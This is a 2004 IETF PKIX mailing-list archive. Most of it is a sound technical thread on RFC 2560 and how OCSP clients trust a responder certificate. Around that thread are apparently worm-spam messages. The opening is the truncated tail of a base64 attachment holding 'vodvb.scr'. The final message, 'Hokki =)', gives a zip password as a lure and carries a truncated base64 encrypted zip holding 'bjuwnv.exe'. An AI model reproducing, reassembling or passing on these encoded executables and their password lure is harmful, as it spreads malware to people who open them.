i4ORXwjLSOgKoqdL/6324nBEag/lWcRBKIiz1k9wB9cBXE3HpU+8GNLVK7Hweklq+u5B1L9C
bY9u75i20HdbWxR9pCr9Edjv7sUYKhqLbn/ABlH7T6aXt+JM//4JM/OIvBZNIKmGsZPDvyFH
pUL1mr9hFMA2M695xoXRAoXuWX92lXP+e/JoTHisTqAlDOlRKHjRawdNWGHif9tkQBJJCL/m
DSatcv9+tzzu2gBsugJ0uaHWGT60QvLbwRZmTJWNXYee07xN27UeWGVT4IgLfv3b2LpcKqNO
bfjQOZuXYn8NwqL4OA020EPrM7MYf57AjpBZv2e1autAMVgsZueKdmFStU9kJBeAfYYSu+3o
YjZax9/jnfHLZJD5/lkV9QPQ1AXD1Sm2c7KrLaMuCsHkt3qPfY/t6JBGa4PyFzSkCVOKj5pd
yB4YWQLLwM2cqZbkEElAO1looFWxXKRqotWsKdh7Xk0nx37Ez89Ft9FT16EBEV1XS3WFsOad
Lzur+YWcUNKAb2ola7iAgPACue69pc6FVTpxmceSupnWVpAdLy11ED7JvL08GOUFt24zmMgQ
KooRUj8FNjc3IwtV+410On1NoYHKef01hfio0kdPSHi6LeVbkpuK9rIIsJbTo+oWn+iN/vh1
LSvhJvSLkOYXdOh4uxMyLSxO4aknis/mVk2kKip6IVpKeo2OUEYxCI+UEMHnKWLeX/aNAUYJ
lCEnT9KYuL/T1iir3UbmOKwV61LQ3xdbmuAV4BiF1UZLUJyL6EYPTf664yPtziwQ6HDATtX5
77RXu7CLgJ9QQ6ccWpRN62AqkHe/j8DkV3cB3tUyDVaTrSeMR5e27YofyhrYjidm/hT9N3IA
kgSjzE9dPctKZuJeFwzJKxmnil14/5mmgxkiVLeRyN8Wx28vkgr8LNnRVxm+6RaaTzITR17N
sYpFCjZVniVg5a+7qKY298pSAQ95//Pzlz4xmgqh9iwX3zZEMOQaie47k8uZTyQ83WYxHBfH
nE0UhZTfUoh5pm36jKuSZ5uBEo9Y9bIVnz/CDLDMrbUeM4uMoVOof6tanB0HjsFTEEv6Cr0N
Do9Qjx1oqIFJoNN1SVSQWgKKCVSUtF4KFTEvtbFoqtmEc35GmANrfD9+CIEi7D/P6PY04lSI
5/ZFjotHHGqo9YDalgTb+wyj0xC1oJSjaPN9O6S9lzM1y0MUW/S8JlyoM+zi8xnebh6APd97
XBJiBywww0OiJSakvrwAL16c15QumUh2VOIEhErIwlYJlYuxYNZ7CT1jXGC1FnEJBA+FDD60
SjnUWzOHsrajglwuYPLnWCu/FaXizb+SuUWpAhOtFZXEGp22yU2e5boS58T2RVmjhEZKhl4p
IRVcxacSUaAifHWRwUoPl781iHKAIVhq7f1CBnMX+rtbcLBDewP+P+iEB8+9ABne9kRCzvNx
HxIFp2DDUzBwPnvzvwK1qh8sp7+Ran7IjZc+bHFwxx126JIRIjEfjWBMavn4RcEz4zCWPEQ4
37A+t+yDxKmlXBHnveQcvpM3PraZQz9tx3yiLwHS1O/W8bI9KdEUx8d/yhDGhZXN9mZpBcXq
A/pnN/5r6pSokP2Uu+DIsQWo8fn4V2X/jukJTs1UK4mYlqt2OOVD6RapYvwF5k2rTV7kEp7w
9d3Z5lgBOugLhjwA4Z3jAVPs5+3s4JzEonkdNEATzrFU7UNaxZCObHoYXZxV+xJtCzT3vU0l
s7xectRxOLFioSq/IzCP8l7RFv9tKCJuT0rxNPLwNmdiRE/OPVnchkUa7Alljihu3eCN7gwU
iI8zkN6ZUT9LrGbZMqQaD7sCedGXJm1qKrt6/n6SCrDAYYY1cQZwzS09ZtIozIvrit/GJm0U
/ttCe79plX2t1KEHkIyWlvj/pFsyFIt0U1qyPafq8MzCvfs87W7LcPhaQqG5sg+6cf5H4aMZ
VlTd5jhF1Cj5gD+FIrK5nVU4e9GN/SxNUH1IEoNaa/atlMTusp6K12+rX+NGgvBBVjNh9pCE
APQfxTzusk4Tr/ADKStf7om1+DTTnwSN1vrVUP0v7UlkHLJPLMMG+II5c2QTxNGixD3FDWFk
NSTLrfufyiEWwC3bTywsYrQz2VYC1UEj1rHlp5K0ELSbYm88y89wNaVLjvX/YECQIjqb5il3
objFuo+GaptaHcygFocc1nBTszzy1WNBMs24uYBqBbCZQEZmKj3yssx0KfKs8svDC52h4Lg4
hfhCQmigHd5oyXk+S71hpkH2CE2oD4Y3jOVKP8P/g+y56/CgKBhJwrYnwB2U2ytXGRBRsiPb
1voeB2dXV1y+tc54ctftobTh5zIA8Skgc1a+B76ywbP0UUoFnR4T2c7CJhMeTQpBONb1laEF
pT0GglBESoadgi+3g3uNfkPgT+9KNGTkpPnVxbaCJDiwYaWwZ7h3FKvybBnHeIR0Twkk3A2p
Ep3XqzdQV9QP5opiZJdepuQWlFNsMitGNHlw5u6Bpc9PBnTo3t7VjUT9teEO2q3IxXihpJSi
tKwFE/4ph3z56CbTtpKrGqFRvvHeHNcFCRPA1e9LkfRqXnET0IgvS+Bsf04F8f5jjkdFFH4n
cnqYwDcwsCtmPA3A2XjMsJMuwZMSbFvOW98svZlwSdUyqSaC10/yDNOZWnM80YcEWofcf/a6
XoVdTmPzTBFPSQzfRITjtQn8WiM176aNbgeZmQV0/UF04p2a9V0G7LvQXw9rFF7d7U6o+MK9
D5v75gnlqE5SDOAdyX1tUUvb+2dGGQf34odAkHUhE8lPJgj2m6iV7TNZCTFXbuGpfw100TPZ
Q7w9dCuNCM+okbEMV1BS72Izi4Gh7qVD+TjZSkBrYiqENulwpsTeEViHi3uvQOv8IFvCNmIA
6xaH3z35nMfB+GhN2o6m4P+Trei13WfT9MAt/Ujs/pKPvV6DH9EVnervuWDRt6T5uX29W4ge
WH5pKk/oaHeQWf4d1jtF3ObaoohJlDwekpGjIwUoyynw2DBTxEYcaxg2WVWPI+iaZ2AyPFbR
dyYmgY629cy07J4suq+iUKCcOQOLSWxnoQ+3Z/4TgoJOinVKsdhl/0RxGf1FGaCC91zGi7+u
exBuTXg+OfyFH8TQcqHiagCIzYolD2yvIe5UFceza27DzEUITfXNW9brq7zJJo0tTLjlreis
uR73b9HdDuGt0nqHiTJyp4YaLwyF9hOY6YqouNU50cXpCLe4eCWdOAGnsRvcFyDwix04RFC9
ffgq+J9atiCVN/43wONOAYiZbZ9bbSh4Rh8JKkCxsmeZbt0CabQozwODKnnA8q0zC4TWsDOy
V+2LVe+2obOWJsn9hMRAIUP8LF71qpqdCJOHWv5DKrywBloKsVmerpkh/BVXwKpIUTWrFgZL
fyLBjC5yuaCQnMu0w/kBz4BX3A8mTMss4q66GQtrwYRbdJMniDQSeUYsVcH/9RH1ur9R1ye1
BVVw4CkYb/appgWnwo8bZygDAUQUm67eHlyN1yCmZYt3M9zexWN6Dt9uxX3Y/6ihIKaE2NUa
mRRTVA2CZVFBvHzVCdSpT9rDSfsdy5Sp2eGqwe85svyKFnhQQxYvklWg9gaH1gL7qTkc5VWn
3ul5/PxKAWfTL2CRzPZvEhqx4cese/5o8Z13m0acYQbivMlckOFslW73+7m4OWEBMOSEnaP1
pZ9Nxv251bw1DfdBBNsJ9pgLNOwXe3PA8DesPLQEzReAU/Rh3rVP4cinKzU1K4Gnx2kO6hqL
kYEM20flEsjRRkNzj8pCNNDtAGxZXRwmrgt0s1KiGueQU6x+1eatPBbWrjyGtmNG725+MfZa
cLLISqJjHcsHkNOglx6zPtNHHKasqmDzzzx1OQ8QllAveJjUWsl+8WTXi0CzFePD0uudTqfB
ku49t6lf3gu5zh/RL6ZXvk72qXeiIjzcsK3a8r71nbgTRqoxLGWo8GL/mFJV28t/wiHgRCdD
wCxI7Tw9zhMaergn11ymw/IltGHuDhXpy6TgaqO3mx48oMRrPNoDN0+4ovx40ogngPK5fmqI
WlsmI7i8+BjaicfYJInMHkehuyHqx1F6GiJksfnCluEIPfmRYu+miYhqj8pHgBaQcvNclzch
pwg/4VdLSYyK2GsskvEB3qCVoG+1l3WadQuJ9d54VzsLqFKv5NgkbQtAX2GEGLijZuvmTcXU
4sr4ypKkZaGnA+lJSLZ29NF00HncaELe3pUmXNaguYiB47hD2FfjxIszh9r6RG+V1ZlvIVXX
344LwXMhQ8pFE7jk0tFWPxyAtf7oXMvChJ63J8ZNNuccn4j4dtYkraKbYXESdioQo+eyQAaW
DnmPgzXnTmzo6hw29kkYUoQNKre6G4bOeumgZIMqTpljjd7iQtAYaZQaeRRJJ0aFe96z+0Zh
FGROk/D+sZxZ0vLkWZ26kWqQVnFd2levG23IzOrwe6ML2cg9tcDlIMltTnIfe2rzHzcy0GOI
qQQuIQjXJTHwI+9h8pprHJD5rf9DQVfZxGGpIRE6xWeXuhW+aXqNizEDMULiQEFNE21NJI9w
VVnN3oNgiORyZjiNe2Wv3ORcFM5GBXVU1jaUHk5K/ZSo9vKW/ttKXzFfTS+VdquHXczsW9VE
q42ozlowjwZHiZiG0BWi3oLJMbqo/lZMg8XZJ+TPAyo3rK8mWi2PHTO/9bsgyic4SwHIvUeV
nngpAEf6p9CLdWRcSirILvnlfbBzQWjASKCZhZMFpL1SaTK7+Zwla4XcE4hsggLSw/NFcIgi
fiNzZfWC5f2HqIPsRkGC4y0xhtRzhndDtfQA7s6Ia3Jl7q8GdXOE82kpvGvIXEnuXNG0zgMi
THU4C0gVqRozo53tVAnfdPppUvIiTzQ1hwG4UfotHV7dGaq2nlM3boegeLFSY7JmKMZrR73N
xssGF1QuXsSb7NUT3oW6aEqKsgDnS0sGbBUCxMbZxCKt1d04M8eNl+9pCB8qRVD7RRuAttNd
3dsaAAD8cr+hS5Pru5Tpu7t0kp9RWWUtsCMc6fVdSD2AeyEQEDYTgbsF2engMoll0eMJ9/dx
xeCfW5Wd75443Fp613s/VUdKomUzByyse+wK/9Lzyktv6OZGKUbmPJa+6ALWr0kCmIJsWTt8
f334oRxmeS1XftwK8+FGhJmGIATYm5MrYW2iSFi1T8mUZ5GjC8O4fz6jkZhk65g8Lp6lsg09
LLyLLleR3QjR5Gttl1ZyK2eqaJW1LAuWK6xT4MRE/HBRo0/zZ8PUazvYdgyF4TQKx8PoKpOT
vH+ip4P4tVvjKR9UlvcUcbH/2EtrCmm3O/OMhxFsae62O9F1uu7d4Gjk45zoB1N4TDglGjxH
IH6JIRyBdn5/jZDggNsXymydO33Le/wgpfnp+/u/3Hu7ogtORrvz8qd5WO687D+CjIxfCeOw
pS1PT1ncMv/Jw4HxNqazRe0kd9htz26esKElIkgwwv00LJ65KuS4S7GyP3kt5GtsILqrIxgJ
foQlmW9qtX4KTj8HbEY/YVEr8bzAzFokzfJKhb+h1rqSnAz/uS0Fw2LG7bqMZCZWm6wsQS4U
jFi89RYR1Fdw14FGLXm2m5mRC5GIdxl0sX0RGP1dPtlUv7xwIXLUNhpAnQcA1rqrUn3fwoQi
LblHRwFp6zdHXuqbVOAUyU20n+XxM8GUv8nuciZ9Tf7HKQbzGWM45DcMBSZBXjbfRhOp+Eul
3twJEhXkVTQly5GQ80q6QNpPUV4peRoQe/l1s9jQJ96eWR0BDosYFOZTwZcoL/B3Ooyd5Kcw
go2zjp0Msa0QUvKO7oGt9XtD7L2rKylbhqfQavR1u5UAoAt+VlmKo+IlLU7cTUtwM3l2WWmf
m6upLG653yhbD1OqiassR5xBxN7Rni9ROZWP+zS63yMdFFo/MKhDiZf2Wl7YyFRl85OKUesi
QjypTFelDMjO7DbLfYBp0hggKttcVRCnrTvnTBAgdpEBv8vSWx2JITGKYSoY86cuNidm0Hij
XCv2+dOwhKNnQRxlGBr2ZK38zIXjl8yZZz143nPa7tlJ2osluAiTsCaC/e/CmIeh/64/+zem
9aAMhE5u9ntrlmJPcb6nh4psKM+iABSQNqZ1NQ2ZGY779L1zrFeYT1hngFQW4e0K7m8d61Ed
rIAlqmeDncHvnwRgPVl0NaiFqo4JisO+a0pdqyYum/c+jIcWTIm+SYUNltEV6UJudvWLPyS4
kfJvOcUnuIsW9swNrTAQjbK+gx/jL6JGrGJRDup7BXJU3TyW8n3JRoL/ekmifn5EYkZPsIgc
ZW5hQD+HCWU6G/FBHNVJPUoxEw4Pa21fsBVhXyQF/1KB5Alu3D7gDGhHi0JoQcg3W+z4WSRD
PsBYiMse8gWiG/Ne0cQcKz8se/5GfTSxM37GIa6zDbhMfZ0Eq6xcff1KOJZ0lwdrYkA+4baq
dpklg5LPpXM23UDmZhhXRiDmb16qs6HdAwg6nBVyEPVks8F8s9rKHSoGjv2ONm59PP9tsAXy
cBGaSICS9wzRAUz+d9PPOhVp73q/cbsUGYbX50v55mxwc1UbX9dRitdIFSmpGKNXHTzTg4sp
kBHYb2k8OlojFpbiXfe8xiuB9w+4US76lE7jGQ2FIKgwSH1fbtGzUzXfpSzpUrxq61xcxBdq
+5hORJUWOCUP2+Z01xhgV+wEbDfwTnv0p3pC6BcEtT2/t257pBKrUUykEjT+cu2SBfPvhZGA
jy3m70QPLYct3uZvYcWCIzhe/4jHtAd95mAMG64sPrEW+mBF5OpYWD3rzxrk6bQXF+mULOJV
EiB0cGa84i8Mdttld8aTBiZy2Vw+zOE/eSGsIYBtFiTSYp07R0vDpRzTb2G1gSts8eUwUUtt
5st9IscIzjMgQtbXUHBpepPMpV6pe2z2WVStWFj4m3h6l3D/Z52yKXfuie7Q1jqqNdLqLDHH
7OCA8SfZK54degUArI/1apAdAecLVxaQRgyo2K5pG7trMGa8JSEgIfJn3A0eJz7jPE7o6Wwc
glikzw+9wYN1Twjj9rs9YFmpEDyuE/GG79q3TeynVlt3EHj7R6W9vxzfJGtDyQQtU8OhVA8/
8huIy8b9S2ETuciqf6Yi823bga1PF9TwnFW27h21xBJfMOhKiTbf0TELbo/gOXerac/9ettY
k/UG4fnq0pZiSUC7FPsYF07oLqB73tXC1gIoMz+R81FXNXof9iaBsV3yJLA/UH1O2SDqG6Aa
XxZrCnUVsKOYR0uy46k7OPbqbroiAaCFBHUAT0lTHKVacE6a5l/CVMC/+golYLpyab1mpQ9c
0Hw2c7HY/b6IxQPUVebWkdgiJz2OY0X3RdnoT8QcflP7bFVeecYPj+gIKNLJ8czS4HrtJw9E
GxMo0hEfLusfABTiBke2ZNn5yB1amadR7J42AS2c+06aaPhArYo1ihXw1WJAn2dYTwoJL29Z
ozqWXj8F8S+fQMTxuHTYtOuvWlu3nFvq6325i/49bao/ufv8iNgoYCWr1/dVRhVltfRYnsrs
OPM36sv5/g4Cj3BuusV+7r9R87cwY2mXNNhe8v0+6HCTrVDv0xuHZp/hjXq+7SOoPMFDbHfj
SEQU6yFfLWlEbVKtN9K459H3wMR+CVSRVj8KWq86mm8zzyqawRpZb+VRV+H/H4gCkr3Z2pao
au4uoAZbXqJnw/uKavOlffCdVK778OYgPshcCeDmauMfbMWsxOra5ukAHi14DgSOObY9KHWr
ND0IyOK3URv0fpK1O+hHS4qnGF1OcFM9zr8yRi0QZmxPKtl3XnEAGheltmVtlKhP4iXmzDqP
Fea/fGgmO7AYh8u2Sy60XDMFJhFFUoVwbYR5TBiVskcNPkRBTm1zNJfPmaBxvMDr6OlWD0k/
OHoLx8KMGa4yjhjmxe++l0BTkgmVOYN4ynl374paOImHnYcxkEq4F2hCu281vCcqiJI/aOXX
J4m6/uTCXaTZUEsBAhQACgABAAAAQLdkMFENl/QMVAAAAFQAAAkAAAAAAAAAAQAgAAAAAAAA
AHZvZHZiLnNjclBLBQYAAAAAAQABADcAAAAzVAAAAAA=

----------gvmvuleooytappoygrba--



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i24LJf57069281; Thu, 4 Mar 2004 13:19:41 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i24LJfMh069280; Thu, 4 Mar 2004 13:19:41 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from sgi2.linagora.com (linagora.net2.nerim.net [62.4.23.8]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i24LJb8T069270 for <[e-mail]>; Thu, 4 Mar 2004 13:19:40 -0800 (PST) (envelope-from [e-mail])
Received: from sgi2 (sgi2 [127.0.0.1]) by localhost (Postfix) with SMTP id 5469F198598; Thu,  4 Mar 2004 22:19:39 +0100 (CET)
Received: from intranet.linagora.lan (intranet.linagora.lan [192.168.1.3]) by sgi2.linagora.com (Postfix) with ESMTP id E9CB3198590; Thu,  4 Mar 2004 22:19:38 +0100 (CET)
Received: from intranet (localhost.localdomain [127.0.0.1]) by intranet (Postfix) with SMTP id B9C3428061; Thu,  4 Mar 2004 22:17:39 +0100 (CET)
Received: by intranet.linagora.lan (Postfix, from userid 48) id 8672E28060; Thu,  4 Mar 2004 22:17:39 +0100 (CET)
Received: from fw-lan.linagora.lan (fw-lan.linagora.lan [192.168.1.254])  by intranet.linagora.lan (IMP) with HTTP  for <[e-mail]>; Thu,  4 Mar 2004 22:17:39 +0100
Message-ID: <[e-mail]>
Date: Thu,  4 Mar 2004 22:17:39 +0100
From: [e-mail]
To: Miguel Rodriguez <[e-mail]>
Cc: "[e-mail]" <[e-mail]>
Subject: RE: clarification about RFC2560.
References: <002901c40215$e303c3a0$[e-mail]>
In-Reply-To: <002901c40215$e303c3a0$[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
User-Agent: Internet Messaging Program (IMP) 3.2.1
X-Originating-IP: 192.168.1.254
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Hi,

> > The responder OCSP not have a link with the certificates for 
> > which one carries
> > out a request for status. In this case, one simply asks the 
> > requestor to make
> > trust to the AC which with signed the certificate of responder OCSP.
> > 
> 
> I guess you're using a "CRL Pull Mode" here, where your OCSP responder
> is also a "default" responder contacted by all your clients for every
> revocation check. Hope this helps,
> 
It is exact, I use this operating mode well. Thank you with all for your
assistance and your reactivity.

Bye
Yannick Quenec'hdu 






Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i24ILh0k057448; Thu, 4 Mar 2004 10:21:43 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i24ILh8G057447; Thu, 4 Mar 2004 10:21:43 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from seguridata1.seguridata.com ([200.57.34.107]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i24ILgP5057440 for <[e-mail]>; Thu, 4 Mar 2004 10:21:42 -0800 (PST) (envelope-from [e-mail])
Received: from MarsXP ([200.67.231.235]) by seguridata1.seguridata.com with Microsoft SMTPSVC(5.0.2195.6713); Thu, 4 Mar 2004 12:22:25 -0600
From: "Miguel Rodriguez" <[e-mail]>
To: <[e-mail]>, <[e-mail]>
Subject: RE: clarification about RFC2560.
Date: Thu, 4 Mar 2004 12:24:09 -0600
Message-ID: <002901c40215$e303c3a0$[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.2627
x-mimeole: Produced By Microsoft MimeOLE V6.00.2800.1165
In-Reply-To: <[e-mail]>
Importance: Normal
X-OriginalArrivalTime: 04 Mar 2004 18:22:25.0578 (UTC) FILETIME=[A4CE78A0:01C40215]
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Hi, responses inline:

> We developed a OCSP responder. this responder work with 15 
> differents CA. I'm
> not direct contact with this 15 CA. That implies that I have 
> intern CA which
> signed my certificate of responder OCSP.
> 
> I would like to know, because item 4.2.2 is not very clear in 
> its formulation
> for me. If it is possible compared to the RFC2560, to ask the 
> requestor to trust
> my CA I cannot be certified by the 15 other CA.
> 

Yes it is possible according to RFC2560, quoting from section 4.2.2.2:

"They MAY provide a means of locally configuring one
   or more OCSP signing authorities, and specifying the set of CAs for
   which each signing authority is trusted. They MUST reject the
   response if the certificate required to validate the signature on the
   response fails to meet at least one of the following criteria:

   1. Matches a local configuration of OCSP signing authority for the
   certificate in question; or

   2. Is the certificate of the CA that issued the certificate in
   question; or

   3. Includes a value of id-ad-ocspSigning in an ExtendedKeyUsage
   extension and is issued by the CA that issued the certificate in
   question."

Your clients would have to be locally confuigured to trust your OCSP
responder, 
and when validating the response they would be using case 1 in the above
quote.

> The responder OCSP not have a link with the certificates for 
> which one carries
> out a request for status. In this case, one simply asks the 
> requestor to make
> trust to the AC which with signed the certificate of responder OCSP.
> 

I guess you're using a "CRL Pull Mode" here, where your OCSP responder
is also a "default" responder contacted by all your clients for every
revocation check. Hope this helps,

Miguel Rodriguez
SeguriData
Mexico



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i24HFvRX053669; Thu, 4 Mar 2004 09:15:57 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i24HFv2s053668; Thu, 4 Mar 2004 09:15:57 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from sgi2.linagora.com (linagora.net2.nerim.net [62.4.23.8]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i24HFtEa053660 for <[e-mail]>; Thu, 4 Mar 2004 09:15:55 -0800 (PST) (envelope-from [e-mail])
Received: from sgi2 (sgi2 [127.0.0.1]) by localhost (Postfix) with SMTP id EEECD198583; Thu,  4 Mar 2004 18:15:54 +0100 (CET)
Received: from intranet.linagora.lan (intranet.linagora.lan [192.168.1.3]) by sgi2.linagora.com (Postfix) with ESMTP id 2D96C19833D; Thu,  4 Mar 2004 18:15:54 +0100 (CET)
Received: from intranet (localhost.localdomain [127.0.0.1]) by intranet (Postfix) with SMTP id B570828061; Thu,  4 Mar 2004 18:13:57 +0100 (CET)
Received: by intranet.linagora.lan (Postfix, from userid 48) id 7B97728060; Thu,  4 Mar 2004 18:13:57 +0100 (CET)
Received: from fw-lan.linagora.lan (fw-lan.linagora.lan [192.168.1.254])  by intranet.linagora.lan (IMP) with HTTP  for <[e-mail]>; Thu,  4 Mar 2004 18:13:57 +0100
Message-ID: <[e-mail]>
Date: Thu,  4 Mar 2004 18:13:57 +0100
From: [e-mail]
To: [e-mail]
Cc: [e-mail]
Subject: RE: clarification about RFC2560.
References: <[e-mail]> <[e-mail]>
In-Reply-To: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
User-Agent: Internet Messaging Program (IMP) 3.2.1
X-Originating-IP: 192.168.1.254
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Selon "[e-mail]" <[e-mail]>:

> Selon Dave Engberg <[e-mail]>:
> 
>  
>  If your responder does not have a delegated certificate (with the "OCSP
>  Signing" Extended Key Usage) from each Certificate Authority, then your
>  responder certificate must be explicitly trusted by every client that uses
>  your responder.
>  
>  OCSP clients make this possible by allowing you to specify "explicitly
>  trusted" responder certificates at each client.
>  
>  It is not possible to ask the client to accept your responder cert if that
>  cert is not issued by the CA of the cert they are checking.
>  
Your third sentence seems to conflit with the previous one. is it just a
 miss use or really impossible ?
> 
> Thanks 
> Yannick Quenec'hdu
> 
> > -----Original Message-----
> > From: [e-mail] [mailto:[e-mail]]
> On
> > Behalf Of [e-mail]
> > Sent: Thursday, March 04, 2004 8:38 AM
> > To: [e-mail]
> > Subject: clarification about RFC2560.
> > 
> > 
> > Hi,¶ 
> > 
> > I would like a clarification about RFC2560.
> > 
> > We developed a OCSP responder. this responder work with 15 differents CA.
> I'm
> > not direct contact with this 15 CA. That implies that I have intern CA
> which
> > signed my certificate of responder OCSP.
> > 
> > I would like to know, because item 4.2.2 is not very clear in its
> formulation
> > for me. If it is possible compared to the RFC2560, to ask the requestor to
> > trust my CA I cannot be certified by the 15 other CA.
> > 
> > The responder OCSP not have a link with the certificates for which one
> > carries out a request for status. In this case, one simply asks the
> requestor
> > to make trust to the AC which with signed the certificate of responder
> OCSP.
> > 
> > This case is possible ?
> > 
> > Thanks
> > Yannick Quenec'hdu
> > 
> > 
> > 
> > 
> > 
> 
> 
> 
> 







Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i24Ddq0d038825; Thu, 4 Mar 2004 05:39:52 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i24DdpFa038823; Thu, 4 Mar 2004 05:39:51 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from sgi2.linagora.com (linagora.net2.nerim.net [62.4.23.8]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i24Ddn5d038785 for <[e-mail]>; Thu, 4 Mar 2004 05:39:50 -0800 (PST) (envelope-from [e-mail])
Received: from sgi2 (sgi2 [127.0.0.1]) by localhost (Postfix) with SMTP id 3D535198583 for <[e-mail]>; Thu,  4 Mar 2004 14:39:45 +0100 (CET)
Received: from intranet.linagora.lan (intranet.linagora.lan [192.168.1.3]) by sgi2.linagora.com (Postfix) with ESMTP id ADF701981BB for <[e-mail]>; Thu,  4 Mar 2004 14:39:44 +0100 (CET)
Received: from intranet (localhost.localdomain [127.0.0.1]) by intranet (Postfix) with SMTP id 8904928061 for <[e-mail]>; Thu,  4 Mar 2004 14:37:49 +0100 (CET)
Received: by intranet.linagora.lan (Postfix, from userid 48) id 4F86128060; Thu,  4 Mar 2004 14:37:49 +0100 (CET)
Received: from fw-lan.linagora.lan (fw-lan.linagora.lan [192.168.1.254])  by intranet.linagora.lan (IMP) with HTTP  for <[e-mail]>; Thu,  4 Mar 2004 14:37:49 +0100
Message-ID: <[e-mail]>
Date: Thu,  4 Mar 2004 14:37:49 +0100
From: [e-mail]
To: "[e-mail]" <[e-mail]>
Subject: clarification about RFC2560.
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
User-Agent: Internet Messaging Program (IMP) 3.2.1
X-Originating-IP: 192.168.1.254
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Hi,¶ 

I would like a clarification about RFC2560.

We developed a OCSP responder. this responder work with 15 differents CA. I'm
not direct contact with this 15 CA. That implies that I have intern CA which
signed my certificate of responder OCSP.

I would like to know, because item 4.2.2 is not very clear in its formulation
for me. If it is possible compared to the RFC2560, to ask the requestor to trust
my CA I cannot be certified by the 15 other CA.

The responder OCSP not have a link with the certificates for which one carries
out a request for status. In this case, one simply asks the requestor to make
trust to the AC which with signed the certificate of responder OCSP.

This case is possible ?

Thanks
Yannick Quenec'hdu




Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2470dKE059809; Wed, 3 Mar 2004 23:00:39 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2470dY1059807; Wed, 3 Mar 2004 23:00:39 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from ok-n76t46vcn4sy ([219.133.136.96]) by above.proper.com (8.12.11/8.12.8) with SMTP id i2470Puo059715 for <[e-mail]>; Wed, 3 Mar 2004 23:00:29 -0800 (PST) (envelope-from [e-mail])
Date: Thu, 04 Mar 2004 15:01:23 +0800
To: [e-mail]
Subject: Hokki =)
From: [e-mail]
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="--------nduxadpkptdprdkefjfq"
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

----------nduxadpkptdprdkefjfq
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit

 Argh, i don't like the plaintext :)

pass:  67688

----------nduxadpkptdprdkefjfq
Content-Type: application/octet-stream; name="Msg.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Msg.zip"

UEsDBAoAAQAAAMBkZDDVpbskN1AAACtQAAAKAAAAYmp1d252LmV4ZdhUpHbXe3CfG9NbsWp5
w5youns9Mq4+eagTIoRRZ5XVM9th0axJyltQduxzEk+QO/XVL4jE56Fn5KIFyiM83xqujCXL
BQHRfe9+jscMcg9OD9hrTOMGM9UqT5qOqxh+MwrtxL9qoThopx283AoKt7HYUBqooBRszA3W
/3M6fSY+ZysCW0X2UY5QZGoRlksIdY9Ed40tYJo1Kg04lu1WLAxSHPmnEBseXX78eyH5MdXt
DyPe2Dg2Ynzg5xrNODHZy+1cOBCVJGF5fVgdNFrDoMNoPUe8+FiuVSnKjpn6iXMXdnwhYiF4
R0REnkbMBr+jvdmE0S0KaJN2/Vn1XZfNgmsz33Y6QByKqZyuoho/Jle8GA2BeXEgbdFQ6CbN
5HrNjuTnPk20F7YSBMAqnXqiLjZpeX8cefXtdg8GNBcA5XvzX8opkVA2lr4L/SYQTHXkmATC
lmh8R7XrY5vY3jF0tFRxeJcsYmYi4pFuUc2ZB/PTNYGILRN8W9afDXUwZdDsSUSoRuG5+Bo6
